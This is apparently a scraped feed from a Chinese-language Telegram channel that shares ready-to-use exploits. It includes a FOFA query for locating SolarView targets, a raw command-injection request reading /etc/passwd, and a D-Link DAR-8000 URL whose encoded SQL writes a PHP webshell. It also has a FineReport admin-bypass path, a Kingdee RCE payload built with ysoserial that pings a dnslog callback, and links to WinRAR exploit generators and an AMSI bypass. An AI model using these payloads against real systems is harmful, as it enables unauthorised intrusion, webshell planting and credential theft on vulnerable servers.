🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

SolarView 太阳能发电场/ 太阳能发电监控系统命令执行

fofa.info
body="SolarView Compact" && title=="Top"

命令 cat${IFS}/etc/passwd

POST /conf_mail.php HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded

mail_address=%3Bcat${IFS}/etc/passwd%3B&button=%83%81%81%5B%83%8B%91%97%90M

影响jp
GET /downloader.php?file=%3Bid%00.zip HTTP/1.1

❤4👍4

11.2K views06:15

通过命名管道和 SMB 协议进行交互式远程 shell 访问

https://github.com/DarkCoderSc/SharpShellPipe

❤2

11.1K views10:27

🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

0:09

This media is not supported in your browser

VIEW IN TELEGRAM

winrar 代码执行复现

❤3👍3

11.4K views12:20

🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

Winrar 漏洞 exp
https://github.com/b1tg/CVE-2023-38831-winrar-exploit

GitHub

GitHub - b1tg/CVE-2023-38831-winrar-exploit: CVE-2023-38831 winrar exploit generator

CVE-2023-38831 winrar exploit generator. Contribute to b1tg/CVE-2023-38831-winrar-exploit development by creating an account on GitHub.

❤2👍1

11.8K views12:20

🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

某东平台csrf+xss0822-3.pdf

👍6❤3😁1

12.4K views17:43

🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

某道云xss案例0822-7.pdf

密码:santiankejian.cves.io0822

❤6👍5

12.2K views17:43

🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

D-LINK-DAR-8000-10 远程命令执行 poc
https://xxx.xxx.xxx/importhtml.php?type=exporthtmlmail&tab=tb_RCtrlLog&sql=c2VsZWN0IDB4M2MzZjcwNjg3MDIwNDA2NTc2NjE2YzI4MjQ1ZjUyNDU1MTU1NDU1MzU0NWIyMjYzNmQ2NDIyNWQyOTNiMjAzZjNlIGludG8gb3V0ZmlsZSAnL3Vzci9oZGRvY3MvbnNnL2FwcC9tb2R1bGUuY2xhc3MucGhwJw==
3.直接访问shell
https://xxx.xxx.xxx/app/module.class.php?cmd=phpinfo();

❤2

12.4K views03:47

🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

帆软报表系统获取管理员权限
/ReportServer?op=fr_auth&cmd=ah_loginui&_=1619832545582

12.1K views03:47

🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

金蝶云RCE漏洞 poc

影响平台
6.x --> 6.2.1012.4
7.x --> 7.0.352.16、7.7.0.202111
8.x --> 8.0.0.202205、8.1.0.20221110
生成反序列化payload：
ysoserial.exe -f BinaryFormatter -g ResourceSet -o base64 -c "ping 8d51yv.dnslog.cn"

POST /K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.DevReportService.GetBusinessObjectData.common.kdsvc HTTP/1.1
Host: 192.168.0.110
User-Agent: Go-http-client/1.1
Content-Length: 2687
Content-Type: text/json
Accept-Encoding: gzip

{"ap0":"payload 数值","format":"3"}

👍5❤1

12.5K views10:22

🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

winrar 代码执行，非常简单的一键利用工具
https://github.com/ignis-sec/CVE-2023-38831-RaRCE

GitHub

GitHub - ignis-sec/CVE-2023-38831-RaRCE: An easy to install and easy to run tool for generating exploit payloads for CVE-2023-38831…

An easy to install and easy to run tool for generating exploit payloads for CVE-2023-38831, WinRAR RCE before versions 6.23 - ignis-sec/CVE-2023-38831-RaRCE

👍4❤1

12.8K views03:55

🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

amsi 最新绕过方法
Windows 进程调试器机制绕过 AMSI 的另一种方法
https://github.com/MzHmO/DebugAmsi

GitHub

GitHub - MzHmO/DebugAmsi: DebugAmsi is another way to bypass AMSI through the Windows process debugger mechanism.

DebugAmsi is another way to bypass AMSI through the Windows process debugger mechanism. - MzHmO/DebugAmsi

❤1

13.2K views03:55

🔰黑盒-𝑩𝒍𝒂𝒄𝒌 𝑩𝑶𝑿-资源公开🅥（数据看文件）

(CVE-2023-2317) 基于 Typora DOM 的跨站点脚本导致远程代码执行
Typora 是一款流行的跨平台 Markdown 编辑器，允许用户创建和编辑具有实时预览功能的 Markdown 文件
https://starlabs.sg/advisories/23/23-2317/

STAR Labs

(CVE-2023-2317) Typora DOM-Based Cross-site Scripting leading to Remote Code Execution

Summary: Product Typora Vendor Typora Severity High Affected Versions Typora for Windows/Linux < 1.6.7 Tested Versions Typora for Windows 1.5.12, Typora for Linux 1.5.10 CVE Identifier CVE-2023-2317 CVE Description DOM-based XSS in updater/update.html…

👍5❤2

14.8K views03:55